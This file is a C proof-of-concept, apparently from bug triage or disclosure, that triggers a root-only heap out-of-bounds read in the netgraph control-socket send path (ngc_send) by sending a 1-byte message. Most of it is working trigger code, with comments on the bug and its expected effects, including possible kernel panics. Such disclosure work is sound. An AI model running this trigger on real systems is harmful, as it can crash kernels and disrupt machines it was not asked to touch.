DF-0534 / df0534.c
/* * DF-0534 - Heap OOB read in ngc_send (netgraph CONTROL socket send path). * * Bug: sys/netgraph7/socket/ng_socket.c ngc_send():254-307 sums the mbuf chain * length into `len`, does kmalloc(len+1, M_NETGRAPH_MSG), and immediately * derefs msg->header.version (:264), typecookie/cmd (:276-277), and on a * MKPEER message reads mkp->type past the data (:278,281,291, including an * unbounded ksnprintf("ng_%s.ko", mkp->type) %s scan). There is NO * minimum-size check. With a 1-byte user payload, only 2 bytes are * allocated but the header (struct ng_msghdr is 56 bytes) is dereferenced * well past the allocation -> heap OOB read into adjacent slab. * * Reachability: REQUIRES a netgraph CONTROL socket. ngc_attach() at * ng_socket.c:182 does caps_priv_check(SYSCAP_RESTRICTEDROOT) -> root only. * This is therefore a root->kernel hardening gap (no privilege boundary to * cross; root->kernel is game-over by definition). The bug is still a real * memory-safety defect worth fixing. * * Build: cc -O2 -o df0534 df0534.c * Run: ./df0534 (must be root; needs `kldload ng_socket` first) * * Expected (bug present): the kernel reads msg->header fields past the 2-byte * allocation. On INVARIANTS kernels this is typically caught; on default * GENERIC it usually manifests as either a clean OOB read (no observable * effect if adjacent slab happens to satisfy the checks) or a panic if the * %s scan / deref crosses a page. We send a tiny version=8 message so the * version check passes and execution proceeds into the OOB header access. */ #include <sys/param.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #define MY_AF_NETGRAPH 32 #define NG_CONTROL 2 /* pr_protocol for the control socket protosw */ /* Minimal ng_mesg: just the version byte set to NG_VERSION(=8). sizeof header * is 56 bytes; we send only 1 byte so kmalloc(2) is done but the kernel reads * header.version (ok, offset 0), then header.typecookie (offset 16, OOB), * header.cmd (offset 20, OOB), etc. */ struct my_sockaddr_ng { unsigned char sg_len; unsigned short sg_family; char sg_data[64]; }; int main(void) { int fd, rc; struct my_sockaddr_ng sa; /* 1-byte payload: version = 8 = NG_VERSION, so the version check at * ng_socket.c:264 PASSES and execution falls through to the OOB reads * of typecookie / cmd at :276-277. */ unsigned char pkt = 8; /* NG_VERSION */ struct iovec iov; struct msghdr msg; printf("[*] DF-0534: ngc_send heap OOB read (control socket, root-only)\n"); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (fd < 0) { printf("[!] socket failed: %s (is ng_socket.ko loaded?)\n", strerror(errno)); return 2; } printf("[+] control socket created fd=%d (required SYSCAP_RESTRICTEDROOT)\n", fd); /* Destination path "x" (does not need to resolve; the OOB happens before * ng_address_path). sg_len = 2 (header) + 1 ('x') + 1 (NUL) = 4. */ memset(&sa, 0, sizeof(sa)); sa.sg_len = 4; sa.sg_family = MY_AF_NETGRAPH; sa.sg_data[0] = 'x'; sa.sg_data[1] = '\0'; memset(&msg, 0, sizeof(msg)); iov.iov_base = &pkt; iov.iov_len = 1; /* 1-byte payload -> kmalloc(2) */ msg.msg_name = &sa; msg.msg_namelen = sa.sg_len; msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("[*] sending 1-byte ng_mesg (version=8) -> kmalloc(2), then kernel\n"); printf("[*] derefs header.typecookie @off16 / cmd @off20 -> OOB read\n"); errno = 0; rc = sendmsg(fd, &msg, 0); printf("[*] sendmsg returned %d, errno=%d (%s)\n", rc, errno, strerror(errno)); printf("[+] DF-0534 OOB-read path exercised. If the guest is dead, see " "boot.log for the panic (OOB crossed a page / INVARIANTS trap).\n"); close(fd); return 0; } |